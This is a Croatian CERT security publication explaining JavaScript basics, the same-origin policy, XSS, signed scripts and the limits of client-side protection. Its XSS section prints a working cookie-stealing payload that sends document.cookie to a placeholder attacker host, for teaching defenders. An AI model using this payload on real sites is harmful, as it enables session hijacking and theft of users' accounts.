HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

Sigurnost JavaScript programskog jezika

CCERT-PUBDOC-2007-10-206

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument, koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

CARNet CERT, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

LS&S, www.lss.hr - laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Sadržaj

1. UVOD 4

2. OPĆENITO O JAVASCRIPT TEHNOLOGIJI 5

2.1. KONSTRUKCIJA JAVASCRIPT SKRIPTE 5
2.2. UKLJUČIVANJE JAVASCRIPT SKRIPTE U HTML STRANICU 6
2.3. NAJČEŠĆE PRIMJENE JAVASCRIPT JEZIKA 7

3. SIGURNOSNI ASPEKTI JAVASCRIPT TEHNOLOGIJE 7

3.1. POLITIKA ISTOG IZVORA 8
3.2. *CROSS SITE SCRIPTING* (XSS) 9
3.3. POLITIKA POTPISANIH SKRIPTI 10

4. ZAŠTITA JAVASCRIPT SKRIPTI 10

4.1. ZAŠTITA IZVORNOG KODA SKRIPTI 11
4.2. ZAŠTITA PRISTUPA STRANICI ZAPORKOM 11
4.3. ZAŠTITA E-MAIL ADRESA 12

5. ZAKLJUČAK 14

6. REFERENCE 14

1. Uvod

JavaScript je skriptni jezik koji se uglavnom koristi za razvoj web aplikacija koje se izvršavaju na strani klijenta. JavaScript se primarno primjenjuje za implementaciju funkcija ugrađenih u web stranice koje obavljaju interakciju s DOM (*Document Object Model*) objektom stranice. Budući da se JavaScript skripta izvršava na strani web klijenta, a ne poslužitelja, ona može odmah reagirati na unos korisnika i time web stranicu učiniti interaktivnijom. Osim toga JavaScript jezikom se mogu detektirati korisničke akcije koje HTML ne može registrirati kao što su na primjer pritisci na pojedine tipke na tipkovnici ili mišu. Tako je nastala i sve popularnija Ajax tehnologija koja je također bazirana na primjeni JavaScript jezika.

Uz prethodno navedene funkcionalnosti, JavaScript skripte imaju dugu i neslavnu prošlost sigurnosnih propusta koji nisu uzrokovani samo propustima u implementaciji već su uzrokovani i nedostacima same tehnologije. Tako su npr. zlonamjerni napadači u mogućnosti putem JavaScript skripti ostvariti napade koji za cilj imaju pokretanje izvođenja proizvoljnog programskog koda na korisnikovom računalu ili krađu korisničkih podataka. U nastavku dokumenta opisane su najčešće vrste propusta te načini na koji se eliminiraju ili reduciraju mogućnosti za njihovo iskorištenje.

2. Općenito o JavaScript tehnologiji

JavaScript je dinamički interpretirani, objektno orijentiran, skriptni jezik visokog nivoa baziran na prototipima i slaboj sintaksi, a koji se izvodi na strani klijenta. To znači sljedeće:

- Dinamički interpretiran – JavaScript program se prosljeđuje klijentu kao potpuno vidljivi izvorni kod koji se pretvara u strojni kod prilikom izvođenja (kod prevedenih - „kompajliranih" jezika izvorni kod se prosljeđuje korisniku tek nakon pretvaranja u strojni kod pa korisnik nikad ne vidi izvorni kod). Dinamički interpretirani jezici obično imaju „slabu" sintaksu pa će se program koji sadrži pogreške u programskom kodu i koje se nikad ne izvode, svejedno moći izvoditi dok u jezicima koji imaju „jaku" sintaksu to nije moguće.
- Objektno orijentiran – jezik koji se bazira na operacijama i manipulacijama objekata – međusobno odvojenih, nezavisnih struktura koje sadrže i podatke i operacije za manipulaciju tim podacima.
- Skriptni – skriptni jezici se obično koriste za automatizaciju repetitivnih radnji. Takvi jezici nemaju podršku za kompleksne operacije kao što su kontrole dretvi i manipulacije memorijom. Također programi pisani u skriptnom jeziku obično nemaju korisničko sučelje već je ono realizirano u nekom drugom jeziku. To je slučaj i s JavaScript jezikom – nije potrebno web pregledniku reći što točno treba prikazati za svaki *pixel* zaslona, već mu je dovoljno samo reći što treba promijeniti u dokumentu i preglednik će to napraviti. Isto tako sam web preglednik će se baviti upravljanjem memorijom i dretvama dok se JavaScript bavi samo onim glavnim zadacima.
- Visoki nivo – jezik visokog nivoa je jezik koji je izgledom sličan stvarnom jeziku (uglavnom engleskom jeziku) pa je razumljiviji čovjeku. Suprotnost tome je npr. programski jezik *Assembler* kod kojeg se svaka naredba može direktno prevesti u strojni kod.
- Izvodi se na strani klijenta – program se prenosi do računala na kojem se nalazi web preglednik te se tamo i izvodi. Alternativa tome je program koji se izvodi na strani web poslužitelja pa se samo rezultati izvođenja prosljeđuju klijentovom web pregledniku kao što je to slučaj s programima pisanim u ASP, JSP, PHP i sličnim jezicima.

JavaScript je nastao pod utjecajem mnogih jezika, ali je dizajniran na način da bude sličan Java programskom jeziku, a opet da bude dovoljno jednostavan kako bi ga mogli upotrebljavati osobe koje nisu programeri. Unatoč imenu JavaScript jezik nije povezan s Java programskim jezikom. Njegovo prvobitno ime u vrijeme nastajanja u organizaciji Netscape bilo je LiveScript, a koje se kasnije uslijed potpisivanja ugovora između kompanija Netscape i Sun promijenilo u JavaScript. JavaScript je sada zaštićeno ime registrirano kao vlasništvo kompanije Sun.

JavaScript jezik se koristi za kreiranje dinamičkih web stranica, a najčešći primjeri primjene su:

- otvaranje tzv. *PopUp* prozora s programatskom kontrolom veličine prozora, njegovog položaja i izgleda na zaslonu što uključuje kontrole vidljivosti izbornika, traka s alatima i sl.,
- validacija korisničkog unosa u web forme kako bi se spriječilo slanje nevažećih vrijednosti na poslužitelj,
- mijenjanje slika na zaslonu kad se mišem prijeđe preko slike kako bi se korisniku privukla pažnja na grafički prikazane važne veze (eng. *link*) i sl.

JavaScript skripta se izvodi samo na stranici koja je prikazana na zaslonu unutar web preglednika. Kad korisnik prestane pregledavati stranicu izvođenje skripte se prekida. Jedina iznimka od ovog pravila su tzv. web kolačići (eng. *cookies*) koji se mogu koristiti od strane više web stranica te za prijenos informacija između njih čak i kad se neka od web stranica zatvori.

2.1. Konstrukcija JavaScript skripte

Osnovi dijelovi JavaScript skripte su sljedeći:

- varijabla – riječ koja označava neku vrijednost – tekstualnu, brojčanu, logičku ili objektnu,
- literal – sama vrijednost varijable,
- objekt – skup međusobno povezanih varijabli,
- operator – označava operacije nad varijablama,
- kontrolna struktura – regulira tijek izvođenja skripte; može biti u obliku funkcije ili metode,

- događaj – služi za detektiranje korisničkih akcija kao što su micanje miša, pritisak tipke, i sl.,
- referenca – veza na objekt ili događaj.

Primjena pojedinih elemenata može se vidjeti iz primjera u kojem se želi skriptom verificirati sadržaj unesen u web formu nakon što korisnik odabere opciju „*Submit*" pritiskom tipke miša. U tu svrhu u formi se definira detekcija događaja pritiska tipke miša iznad opcije „*Submit*". Za slučaj detekcije tog događaja definira se funkcija za verifikaciju koja sadrži strukturu koja se sastoji od varijabli povezanih s pojedinim poljima forme i operatora za usporedbu tih vrijednosti s predefiniranim tekstualnim vrijednostima. Polja forme su objekti koje je potrebno referencirati iz skripte. Ti objekti sadrže literale od kojih je jedan i sama vrijednost unesena u polje od strane korisnika. Kad se dohvati tekst iz referenciranog objekta, funkcija verifikacije verificira sadržaj i na osnovu rezultata šalje unesene vrijednosti na poslužitelj ili dojavljuje korisniku pogrešku unosa.

2.2. Uključivanje JavaScript skripte u HTML stranicu

JavaScript skripta se može uključiti bilo gdje unutar *Head* ili *Body* sekcija HTML stranice/dokumenta. Međutim ipak postoje neke preporuke glede toga:

- Većina skripti može se umetnuti u *Head* sekciju dokumenta čime se njihov sadržaj odvaja od glavnog sadržaja dokumenta.
- Ako je potrebno osigurati izvođenje skripte u nekom trenutku prilikom ispisivanja stranice (npr. koristi se *document write* opcija za kreiranje sadržaja) tada ju je potrebno umetnuti u *Body* sekciju dokumenta. Ako se radi o manjoj skripti onda se ona može cijela ubaciti u *Body* sekciju, a ako se pak radi o većoj skripti onda je preporučljivo skriptu umetnuti u *Head* sekciju unutar neke funkcije, a pozive funkcije ubaciti na potrebna mjesta unutar *Body* sekcije.
- Ako se skripta koristi više puta unutar jedne stranice ili ako je prilično velika tada je bolje pohraniti ju u zasebnu datoteku koja će se učitati unutar *Head* sekcije stranice. To će ne samo pomoći preglednosti glavnog sadržaja stranice nego će pomoći u izbjegavanju mogućih sintaksnih pogrešaka. Osim toga tako pohranjena skripta može biti korištena na više stranica što uz korištenje privremene memorije web preglednika doprinosi uštedi na količini prenesenih podataka.

Skripta se umeće u stranicu/dokument korištenjem *<script>* zastavice. Pritom treba vrijednost atributa te zastavice koristiti za označavanje tipa skripte kao u sljedećem primjeru – oznaka za JavaScript je „*text/JavaScript*".

```
<script type="text/JavaScript">
//JavaScript skripta
</script>
```

Moguće je također upisati i atribut jezika kako bi se specificirala i inačica JavaScript jezika koji je korišten za izradu skripte. U praksi ovaj atribut znači vrlo malo jer se web preglednici, iako tvrde da podržavaju određenu standardnu inačicu JavaScript standarda, u stvarnosti ponašaju vrlo različito. Uobičajena praksa je da preglednici odaberu neku inačicu za koju tvrde da je podržavaju (u većini slučajeva danas je to JavaScript 1.2) i onda izvršavaju skripte koje imaju vrijednost atributa manju ili jednaku toj inačici. Zbog nestandardiziranosti web preglednika preporuka je ovaj atribut ostavljati praznim i ostaviti samoj skripti utvrđivanje ukoliko ju preglednik može izvršiti ili ju ne može izvršiti, jer će skripta to odrediti puno preciznije i točnije nego preglednik.
Ako skripta ne podržava situacije u kojima je web preglednik ne može izvršiti potrebno je ugraditi tzv. *Fallback* mehanizam koji će prikazati određeni tekst, tj. web stranicu u takvoj situaciji kao u sljedećem primjeru.

```
<noscript>
  <p> Ovo se ne prikazuje ako preglednik izvrši JavaScript </p>
</noscript>
```

Ako se skripta umeće u zasebnu datoteku onda se to označava na sljedeći način i umeće u *Head* sekciju stranice:

```
<script src="skripta.js" type="text/JavaScript"></script>
```

Skripte u zasebnim datotekama se izvršavaju kao da su dio glavne stranice. Ako se u njima referenciraju neke vanjske datoteke, npr. slike, adrese koje se koriste moraju biti relativne u odnosu na glavnu stranicu, a ne prema URI lokaciji skripte.

2.3. Najčešće primjene JavaScript jezika

JavaScript skripte se kao što je navedeno najčešće koriste za povećanje interaktivnosti web stranica dodavanjem dinamički promjenjivih sadržaja. Neke od najčešćih i najpopularnijih primjena su sljedeće:

- Promjena izgleda slike prilikom prelaska mišem preko slike (eng. *mouseover*) - http://www.howtocreate.co.uk/tutorials/jsexamples/imageHandle.html
- Otvaranje novog prozora uz kontrolu izgleda prozora - http://www.howtocreate.co.uk/tutorials/jsexamples/popwin.html
- Dinamička promjena sadržaja stranice ovisno o nekom parametru (npr. trenutnom vremenu) - http://www.howtocreate.co.uk/tutorials/jsexamples/dywrite.html
- Validacija unosa u web formu - http://www.howtocreate.co.uk/tutorials/jsexamples/formcheck.html
- Kreiranje dinamičkih web formi (npr. promjena *drop down* liste ovisno o izboru na drugoj *drop down* listi) - http://www.howtocreate.co.uk/tutorials/jsexamples/formman.html
- Pohranjivanje varijabli s jedne stranice za upotrebu na drugoj, modifikacije kolačića - http://www.howtocreate.co.uk/tutorials/jsexamples/vartransfer.html , http://www.howtocreate.co.uk/tutorials/jsexamples/cookies.html
- Dinamički prikaz pomoći za korištenje alata / stranice (eng. *Tooltips*) - http://www.howtocreate.co.uk/tutorials/jsexamples/movetooltip.html
- Pomična traka za slijedno ispisivanje poruka (eng. *Scrollbar*) - http://www.howtocreate.co.uk/tutorials/jsexamples/msgscroll.html

Osim u web stranicama JavaScript skripte se često primjenjuju u obliku tzv. *widget*-a, malih samostojećih alata koji se instaliraju na računalo te korisniku dinamički prikazuju određene podatke prikupljene s neke web stranice kao što su na primjer podaci o trenutnim vremenskim uvjetima na određenoj lokaciji.
Također JavaScript skripte se primjenjuju i za ostvarenje funkcionalnosti nekih *desktop* alata, pa se tako koriste u sklopu Mozilla web preglednika za implementaciju nekih funkcija korisničkog sučelja. Isto tako Adobe Acrobat Reader alat podržava upotrebu JavaScript skripti unutar PDF datoteka, kao što i Microsoft-ova *Active Scripting* tehnologija podržava JavaScript format za realizaciju skripti operacijskog sustava.

3. Sigurnosni aspekti JavaScript tehnologije

JavaScript je zamišljen kao skriptni jezik što znači da se njime ne implementiraju pravilne sigurnosne mjere, te ga nikad ne bi trebalo koristiti umjesto pravilne enkripcije. Naravno postoji definiran JavaScript sigurnosni model, ali on nije definiran sa svrhom zaštite vlasnika web stranice ili zaštite podataka koji se razmjenjuju između web klijenta i poslužitelja. Sigurnosni model JavaScript programskog jezika je definiran s namjerom zaštite korisnika od zlonamjernih web stranica i skripti pa s tim u vidu definira stroga ograničenja o tome što autor skripte skriptom može ili ne može učiniti u okruženju web preglednika.
Princip sigurnosnog modela zasniva se na davanju potpune kontrole skripti unutar web stranice, ali ništa izvan njenih granica što znači sljedeće:

- JavaScript skripta ne može čitati ili kreirati/mijenjati datoteke na korisnikovom računalu. Također ne može kreirati/mijenjati datoteke na web poslužitelju (osim indirektno putem

skripte na strani poslužitelja koja će kreirati/mijenjati datoteke). Jedino što skripta može mijenjati i pohraniti na korisnikovom računalu su web kolačići.

- Skripta može obavljati interakciju s drugim web stranicama iz istog *frameset*-a s istog web poslužitelja, ali ne sa stranicama s drugog web poslužitelja. Neki web preglednici čak to ograničavaju na web stranice s istog priključka bez obzira nalaze li se one na istom ili različitom web poslužitelju.
- Skripta se ne može koristiti za promjenu vrijednosti atributa vezanih uz učitavanje datoteka (eng. *file input*) te se njome ne može učitavati datoteke bez potrebnog odobrenja.
- Skripta ne može dobiti uvid u web stranice koje je korisnik prethodno posjetio, tj. ne može dobiti uvid u tzv. *Location* objekt, ali može narediti web pregledniku pomak unaprijed ili unatrag bilo koliko koraka prema podacima pohranjenim unutar web preglednika. Skripta nikako ne može doći do podataka o tome koje stranice je korisnik prethodno posjetio.
- Skripta nema pristup web kolačićima drugih web stranica.
- Skripta nema uvid u podatke o tome da li korisnik u trenutku izvođenja koristi i neke druge programe ili neke druge prozore unutar web preglednika.
- Skripta ne može otvoriti nove prozore nevidljive korisniku ili premale prozore koje korisnik nije u mogućnosti vidjeti, a u većini web preglednika skripta ne može zatvoriti prozore koje nije otvorila.

Kao što je vidljivo iz navedenog, sigurnosni model definira osnovne principe ponašanja web preglednika kod izvođenja JavaScript skripti – tretirati programski kod skripte pronađen na web stranici kao neprijateljski programski kod. Detaljniju specifikaciju sigurnosnih aspekata definiraju tzv. sigurnosne politike za izvođenje JavaScript skripti koje osim ograničenja definiraju i iznimke koje npr. dozvoljavaju automatsko izvršavanje skripti iz provjerenog izvora ili koje nakon eksplicitne dozvole korisnika omogućavaju skriptama pristup inače nedostupnim podacima.

3.1. Politika istog izvora

Osnovna sigurnosna politika za izvođenje JavaScript skripti je politika istog izvora (eng. *Same Origin Policy*) koja sprečava skripti učitanoj s jedne web stranice mijenjati podatke ili sadržaje vezane uz dokument učitan s neke druge web stranice. Na ovaj način se sprečava korisnike sa zlonamjernih web stranica u preuzimanju kontrole nad nekom drugom web stranicom. Bez ovog ograničenja autori zlonamjernih skripti bi na primjer mogli skriptom pokrenutom u jednom prozoru pratiti korisnikov unos zaporke na web stranici koji se zbiva u drugom prozoru, te nakon uspješnog unosa zaporke ubacivati neovlaštene transakcije ili ukrasti korisnikove web kolačiće.
Mozilla web preglednik definira izvor skripte kao dio URL-a koji sadrži podatke o protokolu i nazivu poslužitelja (*protocol://host*) gdje naziv poslužitelja može uključivati i broj priključka (*:port*). Za ilustraciju sljedeća tablica daje primjere usporedbi različitih izvora i njihove rezultate za izvor http://company.com/dir/page.html.

Izvor (URL)	Rezultat	Razlog
http://company.com/dir2/other.html	Prolazi	-
http://company.com/dir/inner/another.html	Prolazi	-
http://www.company.com/dir/other.html	Ne prolazi	Druga domena
http://www2.company.com/dir/other.html	Ne prolazi	Drugi poslužitelj
ftp://company.com/myPage.htm	Ne prolazi	Drugi protokol
http://company.com:8080/dir/etc.html	Ne prolazi	Drugi priključak

Postoji i izuzetak za pravilo istog izvora. Naime skripta može podesiti vrijednost domene izvora na vrijednost sufiksa vlastite domene te se tada taj sufiks koristi za daljnje provjere izvora. Na primjer skripta iz izvora http://www.company.com/dir/other.html može unutar skripte izvesti sljedeću naredbu:

```
document.domain = "company.com";
```

Nakon toga iako skripta potječe s domene www.company.com provjeru bi prošle i stranice s domene http://company.com. Naravno skripte s domene company.com ne mogu podesiti provjeru izvora na othercompany.com.
Provjera istog izvora obavlja se i kod pristupa drugom *Window* objektu. Pošto svaki okvir unutar stranice koja je realizirana u okvirima predstavlja zaseban *Window* objekt skripta će moći pristupiti podacima iz drugog okvira samo ako je on učitan iz istog izvora.
Eksterne skripte referencirane na nekoj stranici smatraju se dijelom stranice s koje su referencirane pa mogu biti učitane i iz drugog izvora. To znači da se politika istog izvora primjenjuje samo kad se izlazi izvan granica prozora pa je tako moguće u web stranicu s izvora http://www.somesite.com/index.html uključiti eksternu skriptu na sljedeći način:

```
<script type="text/JavaScript" src="http://www.example.com/scripts/somescript.js"></script>
```

Referencirana skripta će raditi normalno, međutim ako navedena skripta pokuša pristupiti drugom prozoru bit će podvrgnuta provjeri izvora i u toj situaciji smatrati će se da ona potječe s izvora http://www.somesite.com/index.html iako se u stvarnosti nalazi drugdje.

3.2. *Cross Site Scripting* (XSS)

Unatoč strogim ograničenjima koje na izvođenje skripte postavlja web preglednik, JavaScript skripte su postale ozloglašene zbog njihovog korištenja u zlonamjerne svrhe. Razlog za to su razni propusti u implementacijama web preglednika koji su dozvoljavali zaobilaženje gore navedenih ograničenja, ali i propusti u implementacijama web stranica koje napadačima omogućavaju nedozvoljeno ubacivanje JavaScript koda u neku web stranicu – XSS (eng. *Cross Site Scripting*).
Primjer za to je npr. web stranica koja prihvaća unos korisničkog imena u formu na stranici te nakon toga otvara URL sljedećeg oblika:

http://www.example.com/mycgi?username=korisničkoIme

koji učitava stranicu koja ispisuje sadržaj:

```
Hello <b>korisničkoIme</b>!
```

Iako se sve čini ispravno, treba promotriti što se događa ako poslužitelj odgovoran za ovu stranicu osim gore navedenog URL-a prihvati i URL sljedećeg oblika:

http://www.example.com/ mycgi?username=Fred<script>alert('Uh oh');</script>?

koji učitava stranicu sljedećeg sadržaja:

```
Hello, <b>Fred<script>alert('Uh oh');</script></b>
```

tj. učitava stranicu koja u sebi sadrži JavaScript programski kod koji će se, ako korisnikov preglednik podržava JavaScript, normalno izvršiti.
Opisani primjer predstavlja klasični slučaj *Cross Site Scripting* ili *XSS* ranjivosti koji dozvoljava zlonamjernim korisnicima ubacivanje skriptnog koda u nečije web stranice. U navedenom primjeru ubačena skripta je prilično benigna, ali ništa ne sprečava napadača ubaciti bilo kakvu skriptu koja će biti znatno opasnija kao u sljedećem primjeru.

```
http://www.example.com/mycgi?username=korisničkoIme%3Cscript%3E%0A%28new%20Image%29.src%3D
%27http%3A//www.evilsite.com/%3Fstolencookie%3D%27+escape%28document.cookie%29%3B% 0A%3C/script%3E
```

Treba primijetiti da su potencijalno problematični znakovi kao što su „<“, „:“ i „?“ URL enkodirani da ne zbune web preglednik. Rezultirajući HTML kod koji će se korisniku ispisati nakon učitavanja ovog URL-a je sljedeći:

```
Hello, <b>korisničkoIme <script>
(new Image).src='http://www.evilsite.com/?stolencookie='+
escape(document.cookie);
</script></b>
```

Ova skripta navodi web preglednik na pokušaj učitavanja slike sa stranice www.evilsite.com i uključuje u taj URL sve web kolačiće koje korisnik ima definirane za inicijalnu stranicu www.example.com. To što referencirana slika ne postoji nije ni bitna jer je korisnik ionako neće vidjeti, ali bitno je to da je napadač vjerojatno vlasnik web stranice i da će u log zapisima te stranice pronaći ukradene web kolačiće koje zatim može zloupotrijebiti.
Treba napomenuti kako *Cross Site Scripting* napadi nisu ograničeni samo na krađu kolačića već se njima mogu pokušati izvesti i napadi koji su inače ograničeni politikom istog izvora. Na primjer skripta bi mogla bilježiti korisnikov unos u formu za unos zaporke i proslijediti ga na neku drugu web stranicu što politika istog izvora ne bi spriječila jer web preglednik ne može znati kako skripta nije dio originalne stranice.

3.3. Politika potpisanih skripti

JavaScript skripte mogu biti digitalno potpisane od strane njihovog autora i to se može koristiti za njihovu verifikaciju. Potpisivanjem skripte digitalnim certifikatom izdanim od nadležnog CA (eng. *Certificate Authority*) ne samo da se potvrđuje valjanost identiteta autora skripte već se verificira i integritet skripte, tj. verificira se da skripta nije izmijenjena na putu od autora od korisnika. Zbog ove dodatne sigurnosti potpisanim se skriptama mogu dati veće ovlasti od uobičajenih kod njihovog izvršavanja.
Takve skripte obično od korisnika zahtijevaju dozvolu za proširenje ovlasti za dohvaćanje inače povjerljivih ili zaštićenih podataka. Proširenje ovlasti se može fino regulirati kontrolama za dozvolu pristupa po principu „tko“ ima pristup „čemu“ gdje se „tko“ autorizira pomoću potpisa.
U najjednostavnijem slučaju za proširenje ovlasti u skriptu se dodaje programski kod kao u sljedećem primjeru:

```
netscape.security.PrivilegeManager.enablePrivilege("UniversalPrefere
ncesRead")
```

ili

```
netscape.security.PrivilegeManager.enablePrivilege("UniversalPrefere
ncesWrite")
```

Ako je potpis skripte verificiran pred korisnikom se pojavljuje dijalog u kojem on mora odobriti traženo proširenje i nakon toga skripta dobiva traženu ovlast. Ovlasti su proširene samo na nivou funkcije unutar kojih je proširenje zatraženo – kad je funkcija izvršena proširenje ovlasti se ukida.
Naravno korisnik uvijek ima pravo ne odobriti zahtjev za proširenjem ovlasti pa je potrebno skripte pisati tako da imaju ugrađen scenarij ponašanja i za takvu opciju.

4. Zaštita JavaScript skripti

Što se tiče same zaštite JavaScript skripti i njihovih podataka i korisnika, treba imati na umu kako JavaScript skripte ne mogu zamijeniti funkcionalnost SSL/TLS (HTTPS) protokola, tj. JavaScript skriptama se ne mogu realizirati stranice zaštićene zaporkom ili razmjenjivati podatke zaštićene enkripcijom. Razlog za to je vrlo jednostavan – izvorni programski kod JavaScript skripte vidljiv je svim korisnicima pa je samim tim vidljiva i bilo koja implementirana metoda zaštite, bila to zaporka ili

enkripcijski algoritam ili njegov tajni ključ. Međutim određene mjere zaštite se ipak mogu poduzeti, a te mjere su opisane u sljedećim poglavljima.

4.1. Zaštita izvornog koda skripti

Unatoč mnogim pokušajima efikasna zaštita izvornog koda JavaScript skripte nije moguća. JavaScript skripta prenosi se do korisnika kao čisti tekst koji nije preveden – kompajliran (eng. *compiled*) u binarni oblik pa je time u potpunosti vidljiv svima.
Tako na primjer svaki korisnik može nakon učitavanja web stranice koja sadrži skriptu u svom web pregledniku odabrati opciju „*View source*" i dobiti na svom zaslonu sadržaj skripte. Pogledom u privremenu memoriju preglednika može dobiti uvid u skripte koje se nalaze u *Head* datotekama stranice (naravno prije toga potrebno je u programskom kodu web stranice pronaći naziv *Head* datoteke).
Neki autori skripti će na neki način pokušati onesposobiti opciju „*View source*" u korisnikovom pregledniku, ali to će funkcionirati samo na nekim preglednicima dok na drugima neće (neki preglednici čak imaju i opciju koja im omogućava izvođenje skripte bez ograničenja koja ona sama postavlja).
Autori mogu pokušati zaštititi skriptu i tako što ju isporučuju samo na zahtjev koji sadrži ispravno zaglavlje kojima korisnik koji je zahtijeva informacijama iz zaglavlja potvrđuje da dolazi s prave stranice. Međutim postoje jednostavni alati kao što je *Curl* koji korisniku omogućavaju lažiranje podataka u zaglavlju pa ni ta metoda zaštite nije dugotrajna.
Moguće je pokušati zaštititi izvorni kod skripte kodiranjem njenog sadržaja korištenjem *chrCodeAt* ili *escape* metoda, ali budući da se programski kod mora dekodirati prije izvođenja, mehanizam za dekodiranje se mora nalaziti u samoj skripti. Male modifikacije tog mehanizma omogućit će bilo kome dekodiranje skripte i prikaz njenog sadržaja na zaslonu.
Moguće je također pokušati učiniti programski kod nerazumljivim tako da se preimenuju sve varijable u neke besmislene nizove slova ili da se uz korisni programski kod u skriptu ubaci programski kod koji je potpuno nepotreban i suvišan, ali sve to ne može predstavljati pouzdanu zaštitu jer se uz dovoljno truda i taj oblik zaštite može zaobići.

4.2. Zaštita pristupa stranici zaporkom

Uobičajeno se zaštita pristupa stranici zaporkom realizira pomoću skripti na strani poslužitelja i kriptirane vezi između klijenta i poslužitelja, ali pošto se JavaScript skriptama ne može realizirati sigurna kriptirana veza, potrebno je odabrati drugačije rješenje.
Na primjer ako se korisniku želi dozvoliti pristup nekoj stranici samo nakon unosa i validacije njegove zaporke mora se implementirati polje u koje će on unijeti zaporku te mehanizam validacije zaporke koji će mu dozvoliti pristup stranici samo ako je validacija uspješna. Problem leži u tome što se programski kod za validaciju zaporke nalazi u samom programskom kodu stranice što znači i da se sama važeća zaporka s kojom se uspoređuje unesena zaporka mora također nalaziti unutar programskog koda stranice. Budući da se programski kod stranice ne može efikasno zaštiti, to važeću zaporku automatski čini vidljivom svima kao u sljedećem primjeru.

```
if( document.forms[0].elements[0].value == 'mojazaporka' ) {
  location.href = 'zasticenaStranica.html';
}
```

Naravno zaporku se može u sam programski kod unijeti u kriptiranom obliku, ali to je opet ne čini zaštićenom jer ju uporniji napadači mogu kad tad dekriptirati korištenjem *brute force* metoda.
Nešto veća sigurnost može se postići sljedećom metodom. Autor skripte kriptira zaštićenu stranicu koristeći korisnikovu zaporku kao ključ. Prilikom učitavanja stranice od korisnika se putem *windows.prompt* naredbe traži unos zaporke. Nakon unosa korištenjem *document.write* naredbe ispisuje se dekriptiran tekst stranice. Ako je unesena kriva zaporka ispisat će se neki besmislen i nerazumljiv tekst jer će dekripcija biti kriva. Ovom metodom zaštite niti se zaporka niti sam sadržaj zaštićene stranice nikad ne šalju putem interneta kao čitljivi tekst što ih čini relativno sigurnim, ali samo relativno jer se, naravno, primijenjena enkripcija može probiti *brute force* tehnikama kojima bi se

isprobala svaka moguća zaporka. Ipak, vlasnik web stranice može onemogućiti veći broj pokušaja u jedinici vremena čime može onemogućiti i efikasnost *brute force* napade.
Očito rješenje kao što je enkripcija podataka na strani klijenta prije nego što se njegovi korisnički podaci pošalju poslužitelju ne može se implementirati jer bi u takvoj situaciji poslužitelj morao unaprijed znati korisnikovu zaporku kako bi mogao dekriptirati primljene podatke, što znači da bi se u nekom prethodnom trenutku zaporka morala poslati nezaštićena putem interneta. Alternativno, mogla bi se kao ključ za enkripciju koristiti neka riječ koja se nalazi u sadržaju stranice za unos zaporke, ali takva enkripcija bi bila brzo probijena nekom *brute force* metodom. Zaključno, može se reći kako se efikasna zaštita sadržaja web stranice korisničkom zaporkom uglavnom ne može efikasno ostvariti upotrebom JavaScript skripti.

4.3. Zaštita e-mail adresa

Kao što je prethodno navedeno, JavaScript skriptama se ne može ostvariti efikasna zaštita pristupa zaporkom, ali se može realizirati zaštita adresa elektroničke pošte na web stranicama. Naime autori neželjenih poruka (eng. *spam*) koriste razne alate koji pretražuju web stranice i s njih uzimaju kontakt podatke (adrese elektroničke pošte) koje kasnije koriste za slanje neželjenih poruka. Ti alati analiziraju sadržaj web stranice i u njima traže tekst koji formatom sliči na e-mail adresu: adresa@domena.hr. Ako se adresa elektroničke pošte integrira u sadržaj web stranice unutar JavaScript skripte takvi alati to neće prepoznati. Primjer za to je:

```
var ime = 'mojeIme', domena = 'mojaDomena.hr';
document.write( 'Moja e-mail adresa je ' + theName + '@' + theDomain
);
```

što za izlaz daje sljedeći tekst:

Moja e-mail adresa je mojeIme@mojaDomena.hr

Još bolje rješenje je sljedeći programski kod:

```
var ime = 'mojeIme', domena = 'mojaDomena.hr';
document.write( '<a href="mailto:' + ime + '@' + domena +
'">Kontakt<\/a>' );
```

što za izlaz daje sljedeći tekst:

Kontakt

Problem se javlja ako neki korisnik koji pregledava stranicu nema uključenu podršku za JavaScript u svom web pregledniku. Kako bi i njemu adresa bila vidljiva može se u programski kod ubaciti alternativni scenarij za takve korisnike koji će i bez JavaScript podrške prikazati adresu elektroničke pošte.

```
<script type="text/JavaScript">
var ime = 'mojeIme', domena = 'mojaDomena.hr';
document.write( '<p><a href="mailto:' + ime + '@' + domena + '">' +
ime + '@' + domena + '<\/a><\/p>' );
</script>
<noscript>
  <p><a href="mailto:mojeIme@mojaDomena.hr">
  mojeIme@mojaDomena.hr</a></p>
</noscript>
```

Naravno, očito je kako je u prethodnom primjeru adresa elektroničke pošte ipak postala dostupna alatima koji obavljaju pretrage. Stoga vlasnici web stranica moraju odlučiti hoće li odabrati opciju

prema kojoj će adrese elektroničke pošte biti dostupne samo nekim korisnicima i pri tome sigurno zaštićene, ili će odabrati opciju prema kojoj će adrese elektroničke pošte biti dostupne svim korisnicima, ali i alatima za njihovo otkrivanje.

5. Zaključak

Unatoč ozloglašenosti zbog *Cross Site Scripting* napada JavaScript skripte su zbog svoje jednostavnosti i širokog područja primjene za povećanje interaktivnosti vrlo popularne i postaju sve češći dio web stranica. Što se sigurnosti tiče, s razvojem i unapređenjem najpopularnijih web preglednika i njihovom dosljednom implementacijom sigurnosnih politika vezanih uz JavaScript broj sigurnosnih ranjivosti, a samim tim i potencijalnih opasnosti za korisnike skripti se brzo smanjuje. Naravno, korisnik ne može utjecati na ranjivosti uzrokovane lošim dizajnom web stranica, ali i svijest web dizajnera o tim ranjivostima se povećava nakon brojnih otkrivenih napada pa je većina ozbiljnih web stranica dizajnirana na način da onemogućava *Cross Site Scripting* napade. Sve to zajedno doprinosi popularizaciji JavaScript jezika pa ne čudi sve veća popularnost tehnologija baziranih na JavaScript jeziku (npr. Ajax) koje ipak čine pregledavanje web stranica znatno dinamičnijim iskustvom nego prije nekoliko godina, a opet bez novih briga o sigurnosti.

6. Reference

[1] JavaScript, http://en.wikipedia.org/wiki/JavaScript, listopad 2007.
[2] JavaScript Tutorial - Security, http://www.howtocreate.co.uk/tutorials/JavaScript/security, listopad 2007.
[3] JavaScript Security, http://www.devarticles.com/c/a/JavaScript/JavaScript-Security/, listopad 2007.
